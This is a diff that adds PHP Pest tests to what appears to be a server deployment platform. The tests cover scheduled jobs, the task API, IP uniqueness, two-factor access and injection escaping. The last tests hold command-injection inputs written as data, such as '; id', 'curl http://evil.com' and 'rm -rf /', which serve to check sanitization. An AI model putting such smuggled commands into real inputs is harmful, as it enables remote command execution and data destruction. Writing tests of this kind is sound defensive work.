+
+ expect($middleware)->toBeArray()->toHaveCount(1);
+});
diff --git a/tests/Feature/ScheduledJobMonitoringTest.php b/tests/Feature/ScheduledJobMonitoringTest.php
new file mode 100644
index 000000000..1348375d4
--- /dev/null
+++ b/tests/Feature/ScheduledJobMonitoringTest.php
@@ -0,0 +1,200 @@
+rootTeam = Team::factory()->create(['id' => 0, 'name' => 'Root Team']);
+ $this->rootUser = User::factory()->create();
+ $this->rootUser->teams()->attach($this->rootTeam, ['role' => 'owner']);
+
+ // Create regular team and user
+ $this->regularTeam = Team::factory()->create();
+ $this->regularUser = User::factory()->create();
+ $this->regularUser->teams()->attach($this->regularTeam, ['role' => 'owner']);
+});
+
+test('scheduled jobs page requires instance admin access', function () {
+ $this->actingAs($this->regularUser);
+ session(['currentTeam' => $this->regularTeam]);
+
+ $response = $this->get(route('settings.scheduled-jobs'));
+ $response->assertRedirect(route('dashboard'));
+});
+
+test('scheduled jobs page is accessible by instance admin', function () {
+ $this->actingAs($this->rootUser);
+ session(['currentTeam' => $this->rootTeam]);
+
+ Livewire::test(ScheduledJobs::class)
+ ->assertStatus(200)
+ ->assertSee('Scheduled Job Issues');
+});
+
+test('scheduled jobs page shows failed backup executions', function () {
+ $this->actingAs($this->rootUser);
+ session(['currentTeam' => $this->rootTeam]);
+
+ $server = Server::factory()->create(['team_id' => $this->rootTeam->id]);
+
+ $backup = ScheduledDatabaseBackup::create([
+ 'team_id' => $this->rootTeam->id,
+ 'frequency' => '0 * * * *',
+ 'database_id' => 1,
+ 'database_type' => 'App\Models\StandalonePostgresql',
+ 'enabled' => true,
+ ]);
+
+ ScheduledDatabaseBackupExecution::create([
+ 'scheduled_database_backup_id' => $backup->id,
+ 'status' => 'failed',
+ 'message' => 'Backup failed: connection timeout',
+ ]);
+
+ Livewire::test(ScheduledJobs::class)
+ ->assertStatus(200)
+ ->assertSee('Backup');
+});
+
+test('scheduled jobs page shows failed cleanup executions', function () {
+ $this->actingAs($this->rootUser);
+ session(['currentTeam' => $this->rootTeam]);
+
+ $server = Server::factory()->create([
+ 'team_id' => $this->rootTeam->id,
+ ]);
+
+ DockerCleanupExecution::create([
+ 'server_id' => $server->id,
+ 'status' => 'failed',
+ 'message' => 'Cleanup failed: disk full',
+ ]);
+
+ Livewire::test(ScheduledJobs::class)
+ ->assertStatus(200)
+ ->assertSee('Cleanup');
+});
+
+test('filter by type works', function () {
+ $this->actingAs($this->rootUser);
+ session(['currentTeam' => $this->rootTeam]);
+
+ Livewire::test(ScheduledJobs::class)
+ ->set('filterType', 'backup')
+ ->assertStatus(200)
+ ->set('filterType', 'cleanup')
+ ->assertStatus(200)
+ ->set('filterType', 'task')
+ ->assertStatus(200);
+});
+
+test('only failed executions are shown', function () {
+ $this->actingAs($this->rootUser);
+ session(['currentTeam' => $this->rootTeam]);
+
+ $backup = ScheduledDatabaseBackup::create([
+ 'team_id' => $this->rootTeam->id,
+ 'frequency' => '0 * * * *',
+ 'database_id' => 1,
+ 'database_type' => 'App\Models\StandalonePostgresql',
+ 'enabled' => true,
+ ]);
+
+ ScheduledDatabaseBackupExecution::create([
+ 'scheduled_database_backup_id' => $backup->id,
+ 'status' => 'success',
+ 'message' => 'Backup completed successfully',
+ ]);
+
+ ScheduledDatabaseBackupExecution::create([
+ 'scheduled_database_backup_id' => $backup->id,
+ 'status' => 'failed',
+ 'message' => 'Backup failed: connection refused',
+ ]);
+
+ Livewire::test(ScheduledJobs::class)
+ ->assertSee('Backup failed: connection refused')
+ ->assertDontSee('Backup completed successfully');
+});
+
+test('filter by date range works', function () {
+ $this->actingAs($this->rootUser);
+ session(['currentTeam' => $this->rootTeam]);
+
+ Livewire::test(ScheduledJobs::class)
+ ->set('filterDate', 'last_7d')
+ ->assertStatus(200)
+ ->set('filterDate', 'last_30d')
+ ->assertStatus(200)
+ ->set('filterDate', 'all')
+ ->assertStatus(200);
+});
+
+test('scheduler log parser returns empty collection when no logs exist', function () {
+ $parser = new SchedulerLogParser;
+
+ $skips = $parser->getRecentSkips();
+ expect($skips)->toBeEmpty();
+
+ $runs = $parser->getRecentRuns();
+ expect($runs)->toBeEmpty();
+})->skip(fn () => file_exists(storage_path('logs/scheduled-'.now()->format('Y-m-d').'.log')), 'Skipped: log file already exists from other tests');
+
+test('scheduler log parser parses skip entries correctly', function () {
+ $logPath = storage_path('logs/scheduled-'.now()->format('Y-m-d').'.log');
+ $logDir = dirname($logPath);
+ if (! is_dir($logDir)) {
+ mkdir($logDir, 0755, true);
+ }
+
+ $logLine = '['.now()->format('Y-m-d H:i:s').'] production.INFO: Backup skipped {"type":"backup","skip_reason":"server_not_functional","execution_time":"'.now()->toIso8601String().'","backup_id":1,"team_id":5}';
+ file_put_contents($logPath, $logLine."\n");
+
+ $parser = new SchedulerLogParser;
+ $skips = $parser->getRecentSkips();
+
+ expect($skips)->toHaveCount(1);
+ expect($skips->first()['type'])->toBe('backup');
+ expect($skips->first()['reason'])->toBe('server_not_functional');
+ expect($skips->first()['team_id'])->toBe(5);
+
+ // Cleanup
+ @unlink($logPath);
+});
+
+test('scheduler log parser filters by team id', function () {
+ $logPath = storage_path('logs/scheduled-'.now()->format('Y-m-d').'.log');
+ $logDir = dirname($logPath);
+ if (! is_dir($logDir)) {
+ mkdir($logDir, 0755, true);
+ }
+
+ $lines = [
+ '['.now()->format('Y-m-d H:i:s').'] production.INFO: Backup skipped {"type":"backup","skip_reason":"server_not_functional","team_id":1}',
+ '['.now()->format('Y-m-d H:i:s').'] production.INFO: Backup skipped {"type":"backup","skip_reason":"subscription_unpaid","team_id":2}',
+ ];
+ file_put_contents($logPath, implode("\n", $lines)."\n");
+
+ $parser = new SchedulerLogParser;
+
+ $allSkips = $parser->getRecentSkips(100);
+ expect($allSkips)->toHaveCount(2);
+
+ $team1Skips = $parser->getRecentSkips(100, 1);
+ expect($team1Skips)->toHaveCount(1);
+ expect($team1Skips->first()['team_id'])->toBe(1);
+
+ // Cleanup
+ @unlink($logPath);
+});
diff --git a/tests/Feature/ScheduledTaskApiTest.php b/tests/Feature/ScheduledTaskApiTest.php
new file mode 100644
index 000000000..fbd6e383e
--- /dev/null
+++ b/tests/Feature/ScheduledTaskApiTest.php
@@ -0,0 +1,365 @@
+team = Team::factory()->create();
+ $this->user = User::factory()->create();
+ $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+ session(['currentTeam' => $this->team]);
+
+ $this->token = $this->user->createToken('test-token', ['*']);
+ $this->bearerToken = $this->token->plainTextToken;
+
+ $this->server = Server::factory()->create(['team_id' => $this->team->id]);
+ $this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]);
+ $this->project = Project::factory()->create(['team_id' => $this->team->id]);
+ $this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
+});
+
+function authHeaders($bearerToken): array
+{
+ return [
+ 'Authorization' => 'Bearer '.$bearerToken,
+ 'Content-Type' => 'application/json',
+ ];
+}
+
+describe('GET /api/v1/applications/{uuid}/scheduled-tasks', function () {
+ test('returns empty array when no tasks exist', function () {
+ $application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+
+ $response = $this->withHeaders(authHeaders($this->bearerToken))
+ ->getJson("/api/v1/applications/{$application->uuid}/scheduled-tasks");
+
+ $response->assertStatus(200);
+ $response->assertJson([]);
+ });
+
+ test('returns tasks when they exist', function () {
+ $application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+
+ ScheduledTask::factory()->create([
+ 'application_id' => $application->id,
+ 'team_id' => $this->team->id,
+ 'name' => 'Test Task',
+ ]);
+
+ $response = $this->withHeaders(authHeaders($this->bearerToken))
+ ->getJson("/api/v1/applications/{$application->uuid}/scheduled-tasks");
+
+ $response->assertStatus(200);
+ $response->assertJsonCount(1);
+ $response->assertJsonFragment(['name' => 'Test Task']);
+ });
+
+ test('returns 404 for unknown application uuid', function () {
+ $response = $this->withHeaders(authHeaders($this->bearerToken))
+ ->getJson('/api/v1/applications/nonexistent-uuid/scheduled-tasks');
+
+ $response->assertStatus(404);
+ });
+});
+
+describe('POST /api/v1/applications/{uuid}/scheduled-tasks', function () {
+ test('creates a task with valid data', function () {
+ $application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+
+ $response = $this->withHeaders(authHeaders($this->bearerToken))
+ ->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [
+ 'name' => 'Backup',
+ 'command' => 'php artisan backup',
+ 'frequency' => '0 0 * * *',
+ ]);
+
+ $response->assertStatus(201);
+ $response->assertJsonFragment(['name' => 'Backup']);
+
+ $this->assertDatabaseHas('scheduled_tasks', [
+ 'name' => 'Backup',
+ 'command' => 'php artisan backup',
+ 'frequency' => '0 0 * * *',
+ 'application_id' => $application->id,
+ 'team_id' => $this->team->id,
+ ]);
+ });
+
+ test('returns 422 when name is missing', function () {
+ $application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+
+ $response = $this->withHeaders(authHeaders($this->bearerToken))
+ ->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [
+ 'command' => 'echo test',
+ 'frequency' => '* * * * *',
+ ]);
+
+ $response->assertStatus(422);
+ });
+
+ test('returns 422 for invalid cron expression', function () {
+ $application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+
+ $response = $this->withHeaders(authHeaders($this->bearerToken))
+ ->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [
+ 'name' => 'Test',
+ 'command' => 'echo test',
+ 'frequency' => 'not-a-cron',
+ ]);
+
+ $response->assertStatus(422);
+ $response->assertJsonPath('errors.frequency.0', 'Invalid cron expression or frequency format.');
+ });
+
+ test('returns 422 when extra fields are present', function () {
+ $application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+
+ $response = $this->withHeaders(authHeaders($this->bearerToken))
+ ->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [
+ 'name' => 'Test',
+ 'command' => 'echo test',
+ 'frequency' => '* * * * *',
+ 'unknown_field' => 'value',
+ ]);
+
+ $response->assertStatus(422);
+ });
+
+ test('defaults timeout and enabled when not provided', function () {
+ $application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+
+ $response = $this->withHeaders(authHeaders($this->bearerToken))
+ ->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [
+ 'name' => 'Test',
+ 'command' => 'echo test',
+ 'frequency' => '* * * * *',
+ ]);
+
+ $response->assertStatus(201);
+
+ $this->assertDatabaseHas('scheduled_tasks', [
+ 'name' => 'Test',
+ 'timeout' => 300,
+ 'enabled' => true,
+ ]);
+ });
+});
+
+describe('PATCH /api/v1/applications/{uuid}/scheduled-tasks/{task_uuid}', function () {
+ test('updates task with partial data', function () {
+ $application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+
+ $task = ScheduledTask::factory()->create([
+ 'application_id' => $application->id,
+ 'team_id' => $this->team->id,
+ 'name' => 'Old Name',
+ ]);
+
+ $response = $this->withHeaders(authHeaders($this->bearerToken))
+ ->patchJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/{$task->uuid}", [
+ 'name' => 'New Name',
+ ]);
+
+ $response->assertStatus(200);
+ $response->assertJsonFragment(['name' => 'New Name']);
+ });
+
+ test('returns 404 when task not found', function () {
+ $application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+
+ $response = $this->withHeaders(authHeaders($this->bearerToken))
+ ->patchJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/nonexistent", [
+ 'name' => 'Test',
+ ]);
+
+ $response->assertStatus(404);
+ });
+});
+
+describe('DELETE /api/v1/applications/{uuid}/scheduled-tasks/{task_uuid}', function () {
+ test('deletes task successfully', function () {
+ $application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+
+ $task = ScheduledTask::factory()->create([
+ 'application_id' => $application->id,
+ 'team_id' => $this->team->id,
+ ]);
+
+ $response = $this->withHeaders(authHeaders($this->bearerToken))
+ ->deleteJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/{$task->uuid}");
+
+ $response->assertStatus(200);
+ $response->assertJson(['message' => 'Scheduled task deleted.']);
+
+ $this->assertDatabaseMissing('scheduled_tasks', ['uuid' => $task->uuid]);
+ });
+
+ test('returns 404 when task not found', function () {
+ $application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+
+ $response = $this->withHeaders(authHeaders($this->bearerToken))
+ ->deleteJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/nonexistent");
+
+ $response->assertStatus(404);
+ });
+});
+
+describe('GET /api/v1/applications/{uuid}/scheduled-tasks/{task_uuid}/executions', function () {
+ test('returns executions for a task', function () {
+ $application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+
+ $task = ScheduledTask::factory()->create([
+ 'application_id' => $application->id,
+ 'team_id' => $this->team->id,
+ ]);
+
+ ScheduledTaskExecution::create([
+ 'scheduled_task_id' => $task->id,
+ 'status' => 'success',
+ 'message' => 'OK',
+ ]);
+
+ $response = $this->withHeaders(authHeaders($this->bearerToken))
+ ->getJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/{$task->uuid}/executions");
+
+ $response->assertStatus(200);
+ $response->assertJsonCount(1);
+ $response->assertJsonFragment(['status' => 'success']);
+ });
+
+ test('returns 404 when task not found', function () {
+ $application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+
+ $response = $this->withHeaders(authHeaders($this->bearerToken))
+ ->getJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/nonexistent/executions");
+
+ $response->assertStatus(404);
+ });
+});
+
+describe('Service scheduled tasks API', function () {
+ test('can list tasks for a service', function () {
+ $service = Service::factory()->create([
+ 'server_id' => $this->server->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ 'environment_id' => $this->environment->id,
+ ]);
+
+ ScheduledTask::factory()->create([
+ 'service_id' => $service->id,
+ 'team_id' => $this->team->id,
+ 'name' => 'Service Task',
+ ]);
+
+ $response = $this->withHeaders(authHeaders($this->bearerToken))
+ ->getJson("/api/v1/services/{$service->uuid}/scheduled-tasks");
+
+ $response->assertStatus(200);
+ $response->assertJsonCount(1);
+ $response->assertJsonFragment(['name' => 'Service Task']);
+ });
+
+ test('can create a task for a service', function () {
+ $service = Service::factory()->create([
+ 'server_id' => $this->server->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ 'environment_id' => $this->environment->id,
+ ]);
+
+ $response = $this->withHeaders(authHeaders($this->bearerToken))
+ ->postJson("/api/v1/services/{$service->uuid}/scheduled-tasks", [
+ 'name' => 'Service Backup',
+ 'command' => 'pg_dump',
+ 'frequency' => '0 2 * * *',
+ ]);
+
+ $response->assertStatus(201);
+ $response->assertJsonFragment(['name' => 'Service Backup']);
+ });
+
+ test('can delete a task for a service', function () {
+ $service = Service::factory()->create([
+ 'server_id' => $this->server->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ 'environment_id' => $this->environment->id,
+ ]);
+
+ $task = ScheduledTask::factory()->create([
+ 'service_id' => $service->id,
+ 'team_id' => $this->team->id,
+ ]);
+
+ $response = $this->withHeaders(authHeaders($this->bearerToken))
+ ->deleteJson("/api/v1/services/{$service->uuid}/scheduled-tasks/{$task->uuid}");
+
+ $response->assertStatus(200);
+ $response->assertJson(['message' => 'Scheduled task deleted.']);
+ });
+});
diff --git a/tests/Feature/ServerIpUniquenessTest.php b/tests/Feature/ServerIpUniquenessTest.php
new file mode 100644
index 000000000..705b1eddc
--- /dev/null
+++ b/tests/Feature/ServerIpUniquenessTest.php
@@ -0,0 +1,110 @@
+user = User::factory()->create();
+ $this->team = Team::factory()->create();
+ $this->user->teams()->attach($this->team, ['role' => 'owner']);
+ $this->actingAs($this->user);
+ session(['currentTeam' => $this->team]);
+
+ $this->privateKey = PrivateKey::create([
+ 'name' => 'Test Key',
+ 'private_key' => 'test-key-content',
+ 'team_id' => $this->team->id,
+ ]);
+});
+
+it('detects duplicate ip within the same team', function () {
+ Server::factory()->create([
+ 'ip' => '1.2.3.4',
+ 'team_id' => $this->team->id,
+ 'private_key_id' => $this->privateKey->id,
+ ]);
+
+ $foundServer = Server::whereIp('1.2.3.4')->first();
+
+ expect($foundServer)->not->toBeNull();
+ expect($foundServer->team_id)->toBe($this->team->id);
+});
+
+it('detects duplicate ip from another team', function () {
+ $otherTeam = Team::factory()->create();
+
+ Server::factory()->create([
+ 'ip' => '5.6.7.8',
+ 'team_id' => $otherTeam->id,
+ ]);
+
+ $foundServer = Server::whereIp('5.6.7.8')->first();
+
+ expect($foundServer)->not->toBeNull();
+ expect($foundServer->team_id)->not->toBe($this->team->id);
+});
+
+it('shows correct error message for same team duplicate in boarding', function () {
+ Server::factory()->create([
+ 'ip' => '1.2.3.4',
+ 'team_id' => $this->team->id,
+ 'private_key_id' => $this->privateKey->id,
+ ]);
+
+ $foundServer = Server::whereIp('1.2.3.4')->first();
+ if ($foundServer->team_id === currentTeam()->id) {
+ $message = 'A server with this IP/Domain already exists in your team.';
+ } else {
+ $message = 'A server with this IP/Domain is already in use by another team.';
+ }
+
+ expect($message)->toBe('A server with this IP/Domain already exists in your team.');
+});
+
+it('shows correct error message for other team duplicate in boarding', function () {
+ $otherTeam = Team::factory()->create();
+
+ Server::factory()->create([
+ 'ip' => '5.6.7.8',
+ 'team_id' => $otherTeam->id,
+ ]);
+
+ $foundServer = Server::whereIp('5.6.7.8')->first();
+ if ($foundServer->team_id === currentTeam()->id) {
+ $message = 'A server with this IP/Domain already exists in your team.';
+ } else {
+ $message = 'A server with this IP/Domain is already in use by another team.';
+ }
+
+ expect($message)->toBe('A server with this IP/Domain is already in use by another team.');
+});
+
+it('allows adding ip that does not exist globally', function () {
+ $foundServer = Server::whereIp('10.20.30.40')->first();
+
+ expect($foundServer)->toBeNull();
+});
+
+it('enforces global uniqueness not just team-scoped', function () {
+ $otherTeam = Team::factory()->create();
+
+ Server::factory()->create([
+ 'ip' => '9.8.7.6',
+ 'team_id' => $otherTeam->id,
+ ]);
+
+ // Global check finds the server even though it belongs to another team
+ $foundServer = Server::whereIp('9.8.7.6')->first();
+ expect($foundServer)->not->toBeNull();
+
+ // Team-scoped check would miss it - this is why global check is needed
+ $teamScopedServer = Server::where('team_id', $this->team->id)
+ ->where('ip', '9.8.7.6')
+ ->first();
+ expect($teamScopedServer)->toBeNull();
+});
diff --git a/tests/Feature/ServiceDatabaseTeamTest.php b/tests/Feature/ServiceDatabaseTeamTest.php
new file mode 100644
index 000000000..97bb0fd2a
--- /dev/null
+++ b/tests/Feature/ServiceDatabaseTeamTest.php
@@ -0,0 +1,77 @@
+create();
+
+ $project = Project::create([
+ 'uuid' => (string) Illuminate\Support\Str::uuid(),
+ 'name' => 'Test Project',
+ 'team_id' => $team->id,
+ ]);
+
+ $environment = Environment::create([
+ 'name' => 'test-env-'.Illuminate\Support\Str::random(8),
+ 'project_id' => $project->id,
+ ]);
+
+ $service = Service::create([
+ 'uuid' => (string) Illuminate\Support\Str::uuid(),
+ 'name' => 'supabase',
+ 'environment_id' => $environment->id,
+ 'destination_id' => 1,
+ 'destination_type' => 'App\Models\StandaloneDocker',
+ 'docker_compose_raw' => 'version: "3"',
+ ]);
+
+ $serviceDatabase = ServiceDatabase::create([
+ 'uuid' => (string) Illuminate\Support\Str::uuid(),
+ 'name' => 'supabase-db',
+ 'service_id' => $service->id,
+ ]);
+
+ expect($serviceDatabase->team())->not->toBeNull()
+ ->and($serviceDatabase->team()->id)->toBe($team->id);
+});
+
+it('returns the correct team for ServiceApplication through the service relationship chain', function () {
+ $team = Team::factory()->create();
+
+ $project = Project::create([
+ 'uuid' => (string) Illuminate\Support\Str::uuid(),
+ 'name' => 'Test Project',
+ 'team_id' => $team->id,
+ ]);
+
+ $environment = Environment::create([
+ 'name' => 'test-env-'.Illuminate\Support\Str::random(8),
+ 'project_id' => $project->id,
+ ]);
+
+ $service = Service::create([
+ 'uuid' => (string) Illuminate\Support\Str::uuid(),
+ 'name' => 'supabase',
+ 'environment_id' => $environment->id,
+ 'destination_id' => 1,
+ 'destination_type' => 'App\Models\StandaloneDocker',
+ 'docker_compose_raw' => 'version: "3"',
+ ]);
+
+ $serviceApplication = ServiceApplication::create([
+ 'uuid' => (string) Illuminate\Support\Str::uuid(),
+ 'name' => 'supabase-studio',
+ 'service_id' => $service->id,
+ ]);
+
+ expect($serviceApplication->team())->not->toBeNull()
+ ->and($serviceApplication->team()->id)->toBe($team->id);
+});
diff --git a/tests/Feature/StartDatabaseProxyTest.php b/tests/Feature/StartDatabaseProxyTest.php
new file mode 100644
index 000000000..c62569866
--- /dev/null
+++ b/tests/Feature/StartDatabaseProxyTest.php
@@ -0,0 +1,45 @@
+create();
+
+ $database = StandalonePostgresql::factory()->create([
+ 'team_id' => $team->id,
+ 'is_public' => true,
+ 'public_port' => 5432,
+ ]);
+
+ expect($database->is_public)->toBeTrue();
+
+ $action = new StartDatabaseProxy;
+
+ // Use reflection to test the private method directly
+ $method = new ReflectionMethod($action, 'isNonTransientError');
+
+ expect($method->invoke($action, 'Bind for 0.0.0.0:5432 failed: port is already allocated'))->toBeTrue();
+ expect($method->invoke($action, 'address already in use'))->toBeTrue();
+ expect($method->invoke($action, 'some other error'))->toBeFalse();
+});
+
+test('isNonTransientError detects port conflict patterns', function () {
+ $action = new StartDatabaseProxy;
+ $method = new ReflectionMethod($action, 'isNonTransientError');
+
+ expect($method->invoke($action, 'Bind for 0.0.0.0:5432 failed: port is already allocated'))->toBeTrue()
+ ->and($method->invoke($action, 'address already in use'))->toBeTrue()
+ ->and($method->invoke($action, 'Bind for 0.0.0.0:3306 failed: port is already allocated'))->toBeTrue()
+ ->and($method->invoke($action, 'network timeout'))->toBeFalse()
+ ->and($method->invoke($action, 'connection refused'))->toBeFalse();
+});
diff --git a/tests/Feature/TeamNotificationCheckTest.php b/tests/Feature/TeamNotificationCheckTest.php
new file mode 100644
index 000000000..2a39b020e
--- /dev/null
+++ b/tests/Feature/TeamNotificationCheckTest.php
@@ -0,0 +1,52 @@
+team = Team::factory()->create();
+});
+
+describe('isAnyNotificationEnabled', function () {
+ test('returns false when no notifications are enabled', function () {
+ expect($this->team->isAnyNotificationEnabled())->toBeFalse();
+ });
+
+ test('returns true when email notifications are enabled', function () {
+ $this->team->emailNotificationSettings->update(['smtp_enabled' => true]);
+
+ expect($this->team->isAnyNotificationEnabled())->toBeTrue();
+ });
+
+ test('returns true when discord notifications are enabled', function () {
+ $this->team->discordNotificationSettings->update(['discord_enabled' => true]);
+
+ expect($this->team->isAnyNotificationEnabled())->toBeTrue();
+ });
+
+ test('returns true when slack notifications are enabled', function () {
+ $this->team->slackNotificationSettings->update(['slack_enabled' => true]);
+
+ expect($this->team->isAnyNotificationEnabled())->toBeTrue();
+ });
+
+ test('returns true when telegram notifications are enabled', function () {
+ $this->team->telegramNotificationSettings->update(['telegram_enabled' => true]);
+
+ expect($this->team->isAnyNotificationEnabled())->toBeTrue();
+ });
+
+ test('returns true when pushover notifications are enabled', function () {
+ $this->team->pushoverNotificationSettings->update(['pushover_enabled' => true]);
+
+ expect($this->team->isAnyNotificationEnabled())->toBeTrue();
+ });
+
+ test('returns true when webhook notifications are enabled', function () {
+ $this->team->webhookNotificationSettings->update(['webhook_enabled' => true]);
+
+ expect($this->team->isAnyNotificationEnabled())->toBeTrue();
+ });
+});
diff --git a/tests/Feature/TwoFactorChallengeAccessTest.php b/tests/Feature/TwoFactorChallengeAccessTest.php
new file mode 100644
index 000000000..2bd58d197
--- /dev/null
+++ b/tests/Feature/TwoFactorChallengeAccessTest.php
@@ -0,0 +1,65 @@
+user = User::factory()->create();
+ $this->team = Team::factory()->personal()->create();
+ $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+ session(['currentTeam' => $this->team]);
+});
+
+it('allows unauthenticated access to two-factor-challenge page', function () {
+ $response = $this->get('/two-factor-challenge');
+
+ // Fortify returns a redirect to /login if there's no login.id in session,
+ // but the important thing is it does NOT return a 419 or 500
+ expect($response->status())->toBeIn([200, 302]);
+});
+
+it('includes two-factor-challenge in allowed paths for unsubscribed accounts', function () {
+ $paths = allowedPathsForUnsubscribedAccounts();
+
+ expect($paths)->toContain('two-factor-challenge');
+});
+
+it('includes two-factor-challenge in allowed paths for invalid accounts', function () {
+ $paths = allowedPathsForInvalidAccounts();
+
+ expect($paths)->toContain('two-factor-challenge');
+});
+
+it('includes two-factor-challenge in allowed paths for boarding accounts', function () {
+ $paths = allowedPathsForBoardingAccounts();
+
+ expect($paths)->toContain('two-factor-challenge');
+});
+
+it('does not redirect authenticated user with force_password_reset from two-factor-challenge', function () {
+ $this->user->update(['force_password_reset' => true]);
+
+ $response = $this->actingAs($this->user)->get('/two-factor-challenge');
+
+ // Should NOT redirect to force-password-reset page
+ if ($response->isRedirect()) {
+ expect($response->headers->get('Location'))->not->toContain('force-password-reset');
+ }
+});
+
+it('renders 419 error page with login link instead of previous url', function () {
+ $response = $this->get('/two-factor-challenge', [
+ 'X-CSRF-TOKEN' => 'invalid-token',
+ ]);
+
+ // The 419 page should exist and contain a link to /login
+ $view = view('errors.419')->render();
+
+ expect($view)->toContain('/login');
+ expect($view)->toContain('Back to Login');
+ expect($view)->toContain('This page is definitely old, not like you!');
+ expect($view)->not->toContain('url()->previous()');
+});
diff --git a/tests/Pest.php b/tests/Pest.php
index 619dea153..cec77b86f 100644
--- a/tests/Pest.php
+++ b/tests/Pest.php
@@ -13,7 +13,7 @@ use Illuminate\Support\Once;
| need to change it using the "uses()" function to bind a different classes or traits.
|
*/
-uses(Tests\TestCase::class)->in('Feature');
+uses(Tests\TestCase::class)->in('Feature', 'v4/Feature', 'v4/Browser');
/*
|--------------------------------------------------------------------------
diff --git a/tests/Unit/ApplicationDeploymentTypeTest.php b/tests/Unit/ApplicationDeploymentTypeTest.php
new file mode 100644
index 000000000..d240181f1
--- /dev/null
+++ b/tests/Unit/ApplicationDeploymentTypeTest.php
@@ -0,0 +1,11 @@
+private_key_id = 0;
+ $application->source = null;
+
+ expect($application->deploymentType())->toBe('deploy_key');
+});
diff --git a/tests/Unit/ExecuteInDockerEscapingTest.php b/tests/Unit/ExecuteInDockerEscapingTest.php
new file mode 100644
index 000000000..14777ca1c
--- /dev/null
+++ b/tests/Unit/ExecuteInDockerEscapingTest.php
@@ -0,0 +1,35 @@
+toBe("docker exec test-container bash -c 'ls -la /app'");
+});
+
+it('escapes single quotes in command', function () {
+ $result = executeInDocker('test-container', "echo 'hello world'");
+
+ expect($result)->toBe("docker exec test-container bash -c 'echo '\\''hello world'\\'''");
+});
+
+it('prevents command injection via single quote breakout', function () {
+ $malicious = "cd /dir && docker compose build'; id; #";
+ $result = executeInDocker('test-container', $malicious);
+
+ // The single quote in the malicious command should be escaped so it cannot break out of bash -c
+ // The raw unescaped pattern "build'; id;" must not appear — the quote must be escaped
+ expect($result)->not->toContain("build'; id;");
+ expect($result)->toBe("docker exec test-container bash -c 'cd /dir && docker compose build'\\''; id; #'");
+});
+
+it('handles empty command', function () {
+ $result = executeInDocker('test-container', '');
+
+ expect($result)->toBe("docker exec test-container bash -c ''");
+});
+
+it('handles command with multiple single quotes', function () {
+ $result = executeInDocker('test-container', "echo 'a' && echo 'b'");
+
+ expect($result)->toBe("docker exec test-container bash -c 'echo '\\''a'\\'' && echo '\\''b'\\'''");
+});
diff --git a/tests/Unit/HealthCheckCommandInjectionTest.php b/tests/Unit/HealthCheckCommandInjectionTest.php
new file mode 100644
index 000000000..9bfc046b0
--- /dev/null
+++ b/tests/Unit/HealthCheckCommandInjectionTest.php
@@ -0,0 +1,270 @@
+ 'localhost; id > /tmp/pwned #',
+ ]);
+
+ // Should fall back to 'localhost' because input contains shell metacharacters
+ expect($result)->not->toContain('; id')
+ ->and($result)->not->toContain('/tmp/pwned')
+ ->and($result)->toContain('localhost');
+});
+
+it('sanitizes health_check_method to prevent command injection', function () {
+ $result = callGenerateHealthcheckCommands([
+ 'health_check_method' => 'GET; curl http://evil.com #',
+ ]);
+
+ expect($result)->not->toContain('evil.com')
+ ->and($result)->not->toContain('; curl');
+});
+
+it('sanitizes health_check_path to prevent command injection', function () {
+ $result = callGenerateHealthcheckCommands([
+ 'health_check_path' => '/health; rm -rf / #',
+ ]);
+
+ expect($result)->not->toContain('rm -rf')
+ ->and($result)->not->toContain('; rm');
+});
+
+it('sanitizes health_check_scheme to prevent command injection', function () {
